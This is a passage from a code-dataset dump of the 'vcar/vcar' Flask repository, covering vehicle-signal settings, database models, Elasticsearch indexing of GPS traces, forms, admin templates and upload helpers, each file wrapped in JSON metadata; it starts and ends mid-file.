#\n # return ret\n\n # driver.create_digraph(\"traces/downtown-crosstown.json\")\n # except Exception as e:\n # print('>> {}'.format(e))\n\n #\n # data_write_file = sys.argv[2]\n # data_read_file = open(sys.argv[1])\n" }, { "alpha_fraction": 0.8333333134651184, "alphanum_fraction": 0.8333333134651184, "avg_line_length": 24, "blob_id": "391281fbc8e102385b22556afc3b0b88524a53d4", "content_id": "3a5db0490a57a4bf26fbdac5fdab201eafa8677d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 24, "license_type": "permissive", "max_line_length": 24, "num_lines": 1, "path": "/app/plugins/hello_world/src/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from .views import hello" }, { "alpha_fraction": 0.2944444417953491, "alphanum_fraction": 0.42679738998413086, "avg_line_length": 20.542253494262695, "blob_id": "ab4252cad013d8b796d88d528e7b73aff18059e6", "content_id": "8ef5c99912192a59b2826e439c5c75438c6d70b6", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3060, "license_type": "permissive", "max_line_length": 56, "num_lines": 142, "path": "/app/plugins/driver_graph/src/algorithms/settings.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "\nDATA = {\n 'fuel_level': 0,\n 'transmission_gear_position': 0,\n 'vehicle_speed': 0,\n 'engine_speed': 0,\n 'torque_at_transmission': 0,\n}\n# 'accelerator_pedal_position': 0,\n# 'steering_wheel_angle': 0,\n# 'brake_pedal_status': 0,\n\nWEIGHT = 1\n\n# For key in range d\n# if d[key][0] <= value <= d[key][1]:\n# if d[key][0] <= value < d[key][1]:\n# End For\n\n\nclass DefaultSettings(object):\n # 1 - fuel_level [ 0 => 120] (%)\n FUEL_EFFICIENCY = {\n 1: [0, 20],\n 2: [20, 40],\n 3: [40, 60],\n 4: [60, 80],\n 5: [80, 100],\n 6: [100, 120]\n }\n # 2 - transmission gear position [ -1 => 7 ]\n GEAR_POSITION = {\n -1: \"reverse\",\n 0: \"neutral\",\n 1: \"first\",\n 2: \"second\",\n 3: \"third\",\n 4: \"fourth\",\n 5: \"fifth\",\n 6: \"sixth\",\n 7: \"seventh\"\n }\n # 3 - vehicle speed [ 0 => 800] (km/h)\n VEHICLE_SPEED = {\n 1: [0, 10],\n 2: [10, 20],\n 3: [20, 30],\n 4: [30, 40],\n 5: [40, 50],\n 6: [50, 60],\n 7: [60, 655],\n 8: [655, 800]\n }\n # 4 - engine speed [ 0 => 20000] (RPM)\n ENGINE_SPEED = {\n 1: [0, 500],\n 2: [500, 1000],\n 3: [1000, 1500],\n 4: [1500, 2000],\n 5: [2000, 2500],\n 6: [2500, 3000],\n 7: [3000, 4000],\n 8: [4000, 16382],\n 9: [16382, 20000]\n }\n # 5 - torque at transmission [ -500 => 2000] (Nm)\n TORQUE = {\n 1: [-500, -100],\n 2: [-100, 0],\n 3: [0, 50],\n 4: [50, 100],\n 5: [100, 150],\n 6: [150, 200],\n 7: [200, 500],\n 8: [500, 1500],\n 9: [1500, 2000]\n }\n # 6 - accelerator pedal position [ 0 => 100] (%)\n ACCEL_PEDAL = {\n 1: [0, 10],\n 2: [10, 20],\n 3: [20, 30],\n 4: [30, 40],\n 5: [40, 50],\n 6: [50, 60],\n 7: [60, 100]\n }\n # 7 - steering wheel angle [ -600 => +600] (Degrees)\n STEERING = {\n 1: [-600, -300],\n 2: [-300, 100],\n 3: [100, 300],\n 4: [300, 600]\n }\n # 8 - parking brake status [ True or False]\n PARKING_BRAKE = {\n 1: \"true\",\n 2: \"false\"\n }\n # 9 - parking pedal status [ True or False]\n PARKING_PEDAL = {\n 1: \"true\",\n 2: \"false\"\n }\n\nCOLORS = [\n '#FFFF00',\n '#FB7E81',\n '#7BE141',\n '#6E6EFD',\n '#C2FABC',\n '#FFA807',\n '#FFEB3B',\n '#9C27B0',\n '#FF5722',\n '#673AB7',\n '#00BCD4',\n '#8BC34A',\n '#FF5722',\n '#6E6EFD',\n '#607D8B',\n]\n\n# All openxc data\n# DATA = {\n# 'accelerator_pedal_position': 0,\n# 'brake_pedal_status': 0,\n# 'button_state': 0,\n# 'door_status': 0,\n# 'engine_speed': 0,\n# 'fuel_consumed_since_restart': 0,\n# 'fuel_level': 0,\n# 'headlamp_status': 0,\n# 'ignition_status': 0,\n# 'latitude': 0,\n# 'longitude': 0,\n# 'odometer': 0,\n# 'steering_wheel_angle': 0,\n# 'torque_at_transmission': 0,\n# 'transmission_gear_position': 0,\n# 'vehicle_speed': 0,\n# 'windshield_wiper_status': 0\n# }\n" }, { "alpha_fraction": 0.6064339280128479, "alphanum_fraction": 0.6071184277534485, "avg_line_length": 35.525001525878906, "blob_id": "3aae5abf440eceea54ea4f2274ba5c703d199175", "content_id": "97ff209ca20c33743de6a45d6a8536b4613f61fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1461, "license_type": "no_license", "max_line_length": 83, "num_lines": 40, "path": "/app/dashboard/models.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from uuid import uuid4\n\nfrom .constants import STRING_LEN, PROCESSED, NOT_PROCESSED\nfrom .helpers import get_current_time\nfrom ..extensions import db\n\n# -------------------------------- Trace Model ------------------------------ #\n\n\nclass Trace(db.Model):\n\n __tablename__ = 'traces'\n\n id = db.Column(db.Integer, primary_key=True)\n filename = db.Column(db.String(STRING_LEN))\n path = db.Column(db.String(STRING_LEN), nullable=False, unique=True)\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'), nullable=False)\n processed = db.Column(db.SmallInteger, default=NOT_PROCESSED)\n created = db.Column(db.DateTime(), default=get_current_time())\n user = db.relationship('User', backref=db.backref('traces', lazy='dynamic'))\n\n def __init__(self, user_id, filename=None, path=None, processed=NOT_PROCESSED):\n self.filename = filename\n self.path = path\n self.user_id = user_id\n self.processed = processed\n\n def is_processed(self):\n return self.processed == PROCESSED\n\n def __repr__(self):\n return '<Trace {}>'.format(self.filename)\n\n @classmethod\n def get_by_user_id(cls, user_id, processed=NOT_PROCESSED):\n return cls.query.filter(\n Trace.user_id == user_id and Trace.processed == processed\n ).all()\n# (db.session.query(Address).filter_by(person_id=current_user.id).count())\n# -------------------------------- Trace Model ------------------------------ #\n" }, { "alpha_fraction": 0.3473523259162903, "alphanum_fraction": 0.3517491817474365, "avg_line_length": 34.83802795410156, "blob_id": "59ecc059a7d7569a69c34a6e911cc3c84047833f", "content_id": "d2f49271e79da20d9cfe7f8d397c7deb3c6b0059", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5231, "license_type": "no_license", "max_line_length": 138, "num_lines": 142, "path": "/app/importer/datasets/t-drive/elastic.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import redis\r\nimport csv\r\nimport copy\r\nimport json\r\nfrom time import strftime, sleep\r\nfrom elasticsearch import Elasticsearch, helpers\r\nfrom .constants import *\r\n\r\n# ----------------- Setting up tools --------------------------------------- #\r\nred = redis.StrictRedis(\r\n host=REDIS_HOST,\r\n port=REDIS_PORT,\r\n db=REDIS_DB\r\n)\r\n\r\n\r\ndef task_info(name='info'):\r\n p = red.pubsub(ignore_subscribe_messages=True)\r\n p.subscribe(name)\r\n thread = p.run_in_thread(sleep_time=0.001)\r\n # thread.stop()\r\n\r\n# def task_info(name='info'):\r\n# pubsub = red.pubsub()\r\n# pubsub.subscribe(name)\r\n# for message in pubsub.listen():\r\n# # print(\"[+] Message: {}\".format(message))\r\n# yield 'data: {}\\n\\n'.format(message['data'])\r\n\r\n# ----------------- Indexing with Bulk : Large files ----------------------- #\r\n\r\n\r\ndef index_bulk(traces, dataset, user_id, bulk_size=BULK_SIZE):\r\n try:\r\n es = Elasticsearch([{\r\n 'host': ELASTICSEARCH_HOST,\r\n 'port': ELASTICSEARCH_PORT\r\n }])\r\n\r\n index = dataset.slug\r\n type = \"dataset\"\r\n es.cluster.health(wait_for_status='yellow', request_timeout=30)\r\n mapping = {\r\n type: {\r\n \"properties\": {\r\n \"user\": {\r\n \"type\": \"integer\"\r\n },\r\n \"vehicle\": {\r\n \"type\": \"integer\"\r\n },\r\n \"driver\": {\r\n \"type\": \"integer\"\r\n },\r\n \"class\": {\r\n \"type\": \"string\"\r\n },\r\n \"name\": {\r\n \"type\": \"string\",\r\n \"index\": \"not_analyzed\"\r\n },\r\n \"value\": {\r\n \"type\": \"string\",\r\n \"index\": \"not_analyzed\"\r\n },\r\n \"timestamp\": {\r\n \"type\": \"date\",\r\n \"format\": \"yyyy-MM-dd HH:mm:ss\"\r\n }\r\n }\r\n }\r\n }\r\n\r\n if not es.indices.exists(index=index):\r\n es.indices.create(index=index, ignore=400)\r\n es.indices.put_mapping(index=index, doc_type=type, body=mapping)\r\n\r\n for trace in traces:\r\n actions = []\r\n i = 1\r\n ignored = 0\r\n with open(trace, 'r') as f:\r\n reader = csv.reader(f)\r\n for line in reader:\r\n try:\r\n vehicle = int(line[0])\r\n driver = int(line[0])\r\n lat = float(line[2])\r\n lng = float(line[3])\r\n timestamp = line[1]\r\n # adding Latitude\r\n actions.append({\r\n \"_index\": dataset.slug,\r\n \"_type\": 'dataset',\r\n \"_source\": {\r\n \"user\": user_id,\r\n \"vehicle\": vehicle,\r\n \"driver\": driver,\r\n \"class\": 3,\r\n \"name\": 'latitude',\r\n \"value\": lat,\r\n \"timestamp\": timestamp\r\n }\r\n })\r\n # adding Longitude\r\n actions.append({\r\n \"_index\": dataset.slug,\r\n \"_type\": 'dataset',\r\n \"_source\": {\r\n \"user\": user_id,\r\n \"vehicle\": vehicle,\r\n \"driver\": driver,\r\n \"class\": 3,\r\n \"name\": 'longitude',\r\n \"value\": lng,\r\n \"timestamp\": timestamp\r\n }\r\n })\r\n if i*2 % bulk_size == 0:\r\n helpers.bulk(es, actions)\r\n actions = []\r\n print(\" ============================================> Bulk : i = \" + str(i))\r\n i += 1\r\n except:\r\n ignored += 1\r\n if i < bulk_size:\r\n print(\" ============================================> Bulk Rest : i = \" + str(i))\r\n helpers.bulk(es, actions)\r\n # bulk the actions dict to elastic\r\n helpers.bulk(es, actions)\r\n # End processing files\r\n if ignored > 0:\r\n red.publish('info', 'background indexing completed with {} ignored line(s)'.format(ignored))\r\n else:\r\n red.publish('info', 'Background indexing task [<b>{}</b> file<small>(s)</small>] completed successfully.'.format(len(traces)))\r\n return True\r\n sys.exit()\r\n except Exception as e:\r\n print('Exception OUT: ', e)\r\n red.publish('info', 'Exception: {}'.format(e))\r\n return False\r\n sys.exit()\r\n" }, { "alpha_fraction": 0.5856115221977234, "alphanum_fraction": 0.5856115221977234, "avg_line_length": 27.95833396911621, "blob_id": "8db8eff8fda8baf25e278bd728784656ab6d8b78", "content_id": "1b1e7748fcbefe61a19745c4c1dc88e50d0365d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 695, "license_type": "no_license", "max_line_length": 81, "num_lines": 24, "path": "/app/importer/models.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from ..constants import STRING_LEN, ACTIVE\nfrom ..helpers import get_current_time\nfrom ...extensions import db\n\n# -------------------------------- Driver Model ------------------------------- #\n\n\nclass Country(db.Model):\n \"\"\" Country Model \"\"\"\n __tablename__ = 'countries'\n\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(STRING_LEN), index=True)\n code = db.Column(db.String(STRING_LEN))\n status = db.Column(db.SmallInteger, default=ACTIVE)\n created = db.Column(db.DateTime(), default=get_current_time())\n\n\n def __init__(self, title, code):\n self.title = title\n self.code = code\n\n def __repr__(self):\n return self.title\n" }, { "alpha_fraction": 0.5254515409469604, "alphanum_fraction": 0.5303776860237122, "avg_line_length": 26.68181800842285, "blob_id": "15e1e069fef1e5b94742b03f1a79ae0286769b5e", "content_id": "4bc3c861fb7ca510399759853fd535c677eb3d6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 609, "license_type": "no_license", "max_line_length": 82, "num_lines": 22, "path": "/app/carboard/forms/drivetype.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField\nfrom wtforms.validators import DataRequired, Regexp, Length\n\nfrom ..models.drivetype import DriveType\n\n# ----------------------------- DriveType form classes ---------------------------\n\n\nclass DriveTypeForm(FlaskForm):\n \"\"\" Driver type add/edit FlaskForm \"\"\"\n name = StringField(\n 'Driver type name',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z ]+$',\n message=(\"Driver type name is not correct !\")\n ),\n ]\n )\n" }, { "alpha_fraction": 0.40299883484840393, "alphanum_fraction": 0.4053056538105011, "avg_line_length": 44.6315803527832, "blob_id": "136265614911504d5ed09380f14c16ee58482a17", "content_id": "c936ebdfa8bcd12b2093f9329a961454445debb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 4335, "license_type": "no_license", "max_line_length": 209, "num_lines": 95, "path": "/templates/carboard/platform/index.html", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "{% extends \"layout.html\" %}\n\n{% from \"carboard/macros.html\" import render_pagination %}\n\n{% block title %}\n List of platforms | {{ super() }}\n{% endblock %}\n\n{% block content_header %}\n\t<section class=\"content-header\">\n\t\t<h1>\n\t\tList of platforms\n\t\t</h1>\n\t\t<ol class=\"breadcrumb\">\n\t\t\t<li><a href=\"#\"><i class=\"fa fa-dashboard\"></i>Home</a></li>\n\t\t\t<li><a href=\"#\">Platform</a></li>\n\t\t\t<li class=\"active\">List of platforms</li>\n\t\t</ol>\n\t</section>\n{% endblock content_header %}\n\n{% block content %}\n\n <div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"box\">\n <div class=\"box-header\">\n <div class=\"box-actions\">\n <a href=\"{{ url_for('carboard.newPlatform') }}\" class=\"btn btn-primary\">\n Add new platform\n </a>\n </div>\n <div class=\"box-tools\">\n <div class=\"input-group input-group-sm\" style=\"width: 150px;\">\n <input type=\"text\" name=\"table_search\" class=\"form-control pull-right\" placeholder=\"Search\">\n\n <div class=\"input-group-btn\">\n <button type=\"submit\" class=\"btn btn-default\">\n <i class=\"fa fa-search\"></i>\n </button>\n </div>\n </div>\n </div>\n </div>\n <div class=\"box-body no-padding\">\n <table class=\"table table-hover\">\n <tr>\n <th>ID</th>\n <th>Logo</th>\n <th>Title</th>\n <th>Website</th>\n <th>Status</th>\n <th>Actions</th>\n\n </tr>\n\n {% for platform in platforms.items %}\n <tr>\n <td><a href=\"{{ url_for('carboard.showPlatform', id=platform.id) }}\">{{ platform.id }}</a></td>\n <td><a href=\"{{ url_for('carboard.showPlatform', id=platform.id) }}\">\n {% if platform.logo %}\n <img class=\"avatar table-avatar\" src=\"{{ resized_img_src(config.UPLOAD_PLATFORM + platform.logo, width=60) }}\" alt=\"{{ platform.name }}\">\n {% else %}\n <img class=\"avatar table-avatar\" src=\"/static{{ config.UPLOAD_PLATFORM}}/default.png\">\n {% endif %}\n </a></td>\n <td>{{ platform.name }}</td>\n <td>{{ platform.website }}</td>\n <td>\n {% if platform.status == 1 %}\n <span class=\"label bg-green\">Activated</span>\n {% else %}\n <span class=\"label bg-red\">Disabled</span>\n {% endif %}\n </td>\n <td>\n <a href=\"{{ url_for('carboard.showPlatform', id=platform.id) }}\" class=\"btn btn-default btn-sm\" data-toggle=\"tooltip\" title=\"Show\"><i class=\"fa fa-eye\"></i></a>\n\n <a href=\"{{ url_for('carboard.togglePlatform', id=platform.id) }}\" class=\"btn btn-warning btn-sm\" data-toggle=\"tooltip\" title=\"Toggle status\"><i class=\"fa fa-toggle-on\"></i></a>\n\n <a href=\"{{ url_for('carboard.editPlatform', id=platform.id) }}\" class=\"btn btn-success btn-sm\" data-toggle=\"tooltip\" title=\"Edit\"><i class=\"fa fa-pencil\"></i></a>\n\n <a href=\"{{ url_for('carboard.deletePlatform', id=platform.id) }}\" class=\"btn btn-danger btn-sm\" data-toggle=\"tooltip\" title=\"Remove\"><i class=\"fa fa-trash\"></i></a>\n </td>\n </tr>\n {% endfor %}\n </table>\n </div>\n <div class=\"box-footer clearfix\">\n {{render_pagination(platforms)}}\n </div>\n </div>\n </div>\n </div>\n{% endblock %}\n" }, { "alpha_fraction": 0.7322834730148315, "alphanum_fraction": 0.7322834730148315, "avg_line_length": 24.399999618530273, "blob_id": "b7a3de9ef988daf5ea457b8480b0ca672c92b7e3", "content_id": "5e86556caebe8fb10615a1ae7e2920e86a590d2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 127, "license_type": "no_license", "max_line_length": 66, "num_lines": 5, "path": "/app/vizboard/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import Blueprint\n\nvizboard = Blueprint('vizboard', __name__, url_prefix='/vizboard')\n\nfrom .explorer.views import *\n" }, { "alpha_fraction": 0.8783783912658691, "alphanum_fraction": 0.8783783912658691, "avg_line_length": 36.5, "blob_id": "6d89b2d0aa3026ec45069585c8a2d1309dd8d1fe", "content_id": "706f7d77d89330ef7c1c1b7f6e71794c28f9321c", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 74, "license_type": "permissive", "max_line_length": 37, "num_lines": 2, "path": "/app/plugins/driver_graph/src/algorithms/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from .drivergraph import DriverGraph\nfrom .settings import DefaultSettings" }, { "alpha_fraction": 0.6251664161682129, "alphanum_fraction": 0.6284953355789185, "avg_line_length": 30.621051788330078, "blob_id": "a325810a5abf9ad45e60a395c8a2d17e78f7b42d", "content_id": "53eac5d82e265ddfb0636c5003bcd2d9563d536e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3004, "license_type": "no_license", "max_line_length": 89, "num_lines": 95, "path": "/app/carboard/views/article.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.article import Article\nfrom ..forms.article import ArticleForm\nfrom ..constants import PER_PAGE\nfrom ...extensions import db\n\n\n# -------------------- /carboard/article/ : List of articles ---------------- #\n\n\[email protected]('/article/')\n@login_required\ndef indexArticle():\n articles = Article.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/article/index.html', articles=articles)\n\n\n# -------------------- /carboard/article/id : Show article ------------------ #\n\n\[email protected]('/article/<int:id>', methods=['GET'])\n@login_required\ndef showArticle(id):\n article = Article.query.get_or_404(id)\n return render_template('carboard/article/show.html', article=article)\n\n\n# -------------------- /carboard/article/new : Add article ------------------ #\n\n\[email protected]('/article/new/<int:dataset_id>', methods=['GET', 'POST'])\[email protected]('/article/new', methods=['GET', 'POST'])\n@login_required\ndef newArticle(dataset_id=None):\n \"\"\" Add new article \"\"\"\n\n form = ArticleForm()\n\n if form.validate_on_submit():\n article = Article(\n dataset_id=dataset_id,\n name=form.name.data,\n authors=form.authors.data,\n abstract=form.abstract.data,\n keywords=form.keywords.data,\n publication_date=form.publication_date.data,\n reference=form.reference.data,\n link=form.link.data,\n )\n db.session.add(article)\n db.session.commit()\n flash('Article {}, added successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.indexArticle'))\n\n return render_template('carboard/article/new.html', form=form, dataset_id=dataset_id)\n\n\n# -------------------- /carboard/article/id/edit : Edit article ------------- #\n\n\[email protected]('/article/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editArticle(id):\n \"\"\" Edit existing article \"\"\"\n\n article = Article.query.get_or_404(id)\n form = ArticleForm(obj=article)\n if form.validate_on_submit():\n form.populate_obj(article)\n db.session.commit()\n flash('Article {}, updated successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.showArticle', id=id))\n\n return render_template('carboard/article/edit.html', form=form, id=id)\n\n\n# -------------------- /carboard/article/id/delete : Delete article --------- #\n\n\[email protected]('/article/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteArticle(id):\n article = Article.query.get_or_404(id)\n db.session.delete(article)\n db.session.commit()\n flash('Article {}, deleted successfully.'.format(article.name), 'success')\n return redirect(url_for('carboard.indexArticle'))\n" }, { "alpha_fraction": 0.41769281029701233, "alphanum_fraction": 0.42125728726387024, "avg_line_length": 40.702701568603516, "blob_id": "7b961ca9fbc450c548ddef2f7ea37ac46969144a", "content_id": "634fe2e7d0d8887df2c51e4b149bc319efe39cf2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 3086, "license_type": "no_license", "max_line_length": 195, "num_lines": 74, "path": "/templates/carboard/article/index.html", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "{% extends \"layout.html\" %}\n\n{% from \"carboard/macros.html\" import render_pagination %}\n\n{% block title %}\n List of articles | {{ super() }}\n{% endblock %}\n\n{% block content_header %}\n\t<section class=\"content-header\">\n\t\t<h1>\n\t\tList of articles\n\t\t</h1>\n\t\t<ol class=\"breadcrumb\">\n\t\t\t<li><a href=\"#\"><i class=\"fa fa-dashboard\"></i>Home</a></li>\n\t\t\t<li><a href=\"#\">Article</a></li>\n\t\t\t<li class=\"active\">List of articles</li>\n\t\t</ol>\n\t</section>\n{% endblock content_header %}\n\n{% block content %}\n\n <div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"box\">\n <div class=\"box-header\">\n <div class=\"box-tools\">\n <div class=\"input-group input-group-sm\" style=\"width: 150px;\">\n <input type=\"text\" name=\"table_search\" class=\"form-control pull-right\" placeholder=\"Search\">\n\n <div class=\"input-group-btn\">\n <button type=\"submit\" class=\"btn btn-default\">\n <i class=\"fa fa-search\"></i>\n </button>\n </div>\n </div>\n </div>\n </div>\n <br>\n <div class=\"box-body no-padding\">\n <table class=\"table table-hover\">\n <tr>\n <th>ID</th>\n <th>Name</th>\n <th>Authors</th>\n <th>Date of publication</th>\n <th>Actions</th>\n </tr>\n\n {% for article in articles.items %}\n <tr>\n <td><a href=\"{{ url_for('carboard.showArticle', id=article.id) }}\">{{ article.id }}</a></td>\n <td><a href=\"{{ url_for('carboard.showArticle', id=article.id) }}\">{{ article.name | truncate(70) }}</a></td>\n <td>{{ article.authors | truncate(35) }}</td>\n <td>{{ article.publication_date }}</td>\n <td>\n <a href=\"{{ url_for('carboard.showArticle', id=article.id) }}\" class=\"btn btn-default btn-sm\" data-toggle=\"tooltip\" title=\"Show\"><i class=\"fa fa-eye\"></i></a>\n\n <a href=\"{{ url_for('carboard.editArticle', id=article.id) }}\" class=\"btn btn-success btn-sm\" data-toggle=\"tooltip\" title=\"Edit\"><i class=\"fa fa-pencil\"></i></a>\n\n <a href=\"{{ url_for('carboard.deleteArticle', id=article.id) }}\" class=\"btn btn-danger btn-sm\" data-toggle=\"tooltip\" title=\"Remove\"><i class=\"fa fa-trash\"></i></a>\n </td>\n </tr>\n {% endfor %}\n </table>\n </div>\n <div class=\"box-footer clearfix\">\n {{render_pagination(articles)}}\n </div>\n </div>\n </div>\n </div>\n{% endblock %}\n" }, { "alpha_fraction": 0.49799197912216187, "alphanum_fraction": 0.5030120611190796, "avg_line_length": 25.91891860961914, "blob_id": "a31bf86b9258cce9438d42cc4505dec1019b7453", "content_id": "094e00aae2c95ad68dc6730c25a3d63c40535ec2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 996, "license_type": "no_license", "max_line_length": 79, "num_lines": 37, "path": "/app/carboard/forms/country.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField\nfrom wtforms.validators import DataRequired, Regexp, Length\n\nfrom ..models.country import Country\n\n# ------------------------ custom validation methods ------------------------ #\n\n\ndef country_exist(form, field):\n if Country.select().where(Country.title == field.data).exists():\n raise ValidationError('Country already exists !')\n\n# ---------------------------- User form classes ---------------------------- #\n\n\nclass CountryForm(FlaskForm):\n \"\"\" Country add/edit FlaskForm \"\"\"\n title = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z ]+$',\n message=(\"Country name is not correct !\")\n ),\n # country_exist()\n ]\n )\n code = StringField(\n 'Iso Code',\n validators=[\n DataRequired(),\n Length(min=2, max=2),\n ]\n )\n" }, { "alpha_fraction": 0.5804204344749451, "alphanum_fraction": 0.5857980847358704, "avg_line_length": 30.229007720947266, "blob_id": "efc8012ae618975522cd866793c109d5caef7f4f", "content_id": "2d125043fd572da29217e861e5fe6556c7597eb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8182, "license_type": "no_license", "max_line_length": 113, "num_lines": 262, "path": "/app/carboard/helpers.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import os\nimport re\nimport csv\nfrom unicodedata import normalize\nfrom uuid import uuid4\nfrom time import strftime\nfrom datetime import datetime\n\nfrom flask import request, url_for\nfrom werkzeug import secure_filename\n\nfrom app.carboard.models.dataset import Dataset\nfrom app.carboard.models.platform import Platform\nfrom app.carboard.models.signal import Signal\nfrom config.config import DefaultConfig\nfrom .constants import UPLOAD_DATASET_DIR, ALLOWED_DATASET_EXTENSIONS\n\n\n# ------------------------------ View Helpers ------------------------------- #\n\n\ndef paginate(query, max_per_page=25):\n \"\"\" Helper to manage paginate configuration\n it take as argument a query and return a\n paginated query with given parametters\n \"\"\"\n # obtain pagination arguments from the URL's query string\n page = request.args.get('page', 1, type=int)\n per_page = min(\n request.args.get('per_page', max_per_page, type=int),\n max_per_page\n )\n # run the query with Flask-SQLAlchemy's pagination\n p = query.paginate(page, per_page)\n # build the pagination metadata to include in the response\n pages = {\n 'page': page,\n 'per_page': per_page,\n 'total': p.total,\n 'pages': p.pages\n }\n if p.has_prev:\n pages['prev_url'] = url_for(\n request.endpoint, page=p.prev_num, per_page=per_page)\n else:\n pages['prev_url'] = None\n if p.has_next:\n pages['next_url'] = url_for(\n request.endpoint, page=p.next_num, per_page=per_page)\n else:\n pages['next_url'] = None\n pages['first_url'] = url_for(\n request.endpoint, page=1, per_page=per_page)\n pages['last_url'] = url_for(\n request.endpoint, page=p.pages, per_page=per_page)\n # return a dictionary as a response\n return {'items': p.items, 'pages': pages}\n\n\ndef upload_csv(file_data, upload_dir):\n \"\"\" upload csv file (keeping the name cause it will be removed after processing \"\"\"\n if file_data:\n path = os.path.join(upload_dir)\n file_data.save(\"/\".join([path, file_data.filename]))\n return file_data.filename\n\n\ndef remove_csv(filename, upload_dir):\n \"\"\" delet the plugins csv file \"\"\"\n path = os.path.join(upload_dir)\n os.remove(\"/\".join([path, filename]))\n return True\n\n\ndef upload_file(file_data, upload_dir, oldFile=None):\n \"\"\" Upload Files \"\"\"\n if file_data:\n file = secure_filename(str(uuid4()) + os.path.splitext(file_data.filename)[1].lower())\n path = os.path.join(upload_dir, strftime(\"%Y/%m\"))\n # os.makedirs(path, exist_ok=True) Py 3.4+\n make_dir(path)\n file_data.save(\"/\".join([path, file]))\n if oldFile is not None:\n pass\n return \"/\".join([strftime(\"%Y/%m\"), file])\n return None\n\n\ndef upload_dsfile(input='file', dataset='_default'):\n \"\"\"Upload a dataset file\"\"\"\n result = {'status': False, 'message': 'No input file'}\n if input not in request.files:\n return result\n file = request.files[input]\n if file.filename == '':\n return result\n if '.' not in file.filename:\n result['message'] = 'File without any extension'\n return result\n if file.filename.rsplit('.', 1)[1] not in ALLOWED_DATASET_EXTENSIONS:\n result['message'] = 'Extension not allowed'\n return result\n directory = \"/\".join([UPLOAD_DATASET_DIR, str(dataset)])\n make_dir(directory)\n file_path = \"/\".join([directory, secure_filename(str(uuid4()) + os.path.splitext(file.filename)[1].lower())])\n file.save(file_path)\n return {'status': True, 'message': file_path}\n\n\ndef slugify(text, delim=u'-'):\n \"\"\"Generates an slightly worse ASCII-only slug.\"\"\"\n result = []\n _punct_re = re.compile(r'[\\t !\"#$%&\\'()*\\-/<=>?@\\[\\\\\\]^_`{|},.]+')\n for word in _punct_re.split(text.lower()):\n word = normalize('NFKD', word).encode('ascii', 'ignore')\n if word:\n result.append(word)\n try:\n return unicode(delim.join(result))\n except:\n d = d = bytes(delim, 'utf-8')\n return str(d.join(result).decode(\"utf-8\"))\n\n\ndef choices(Model, placeholder=None, cond=1, orderField='name'):\n if cond:\n c = [(b.id, b) for b in Model.query.filter_by(status=cond).order_by(orderField).all()]\n else:\n c = [(b.id, b) for b in Model.query.order_by(orderField).all()]\n if placeholder is not None:\n c.insert(0, ('0', placeholder))\n else:\n c.insert(0, ('0', 'Select an option ...'))\n return c\n\n\ndef platform_choices(placeholder=None, orderField='name'):\n platforms = [(b.name, b) for b in Platform.query.filter_by(status=1).order_by(orderField).all()]\n datasets = [(b.name, b) for b in Dataset.query.filter_by(status=1).order_by(orderField).all()]\n ret = platforms + datasets\n if placeholder:\n ret.insert(0, ('0', placeholder))\n else:\n ret.insert(0, ('0', 'Select A Data Storatge'))\n return ret\n\n\ndef types():\n return [\n ('type', 'Select a Type ...'),\n ('Numerical', 'Numerical'),\n ('String', 'String'),\n ('States', 'States'),\n ('Path', 'Path')\n ]\n\n\ndef get_signal_from_form(form):\n \"\"\" get a signal object from the given form \"\"\"\n signal = Signal(\n name=form.name.data,\n signalclass_id=form.signalclass_id.data,\n signalsource_id=form.signalsource_id.data,\n unit=form.unit.data,\n description=form.unit.description,\n frequency=form.frequency.data,\n type=form.type.data\n )\n if form.type.data == \"States\" or form.type.data == \"Numerical\":\n if form.type.data == \"States\":\n 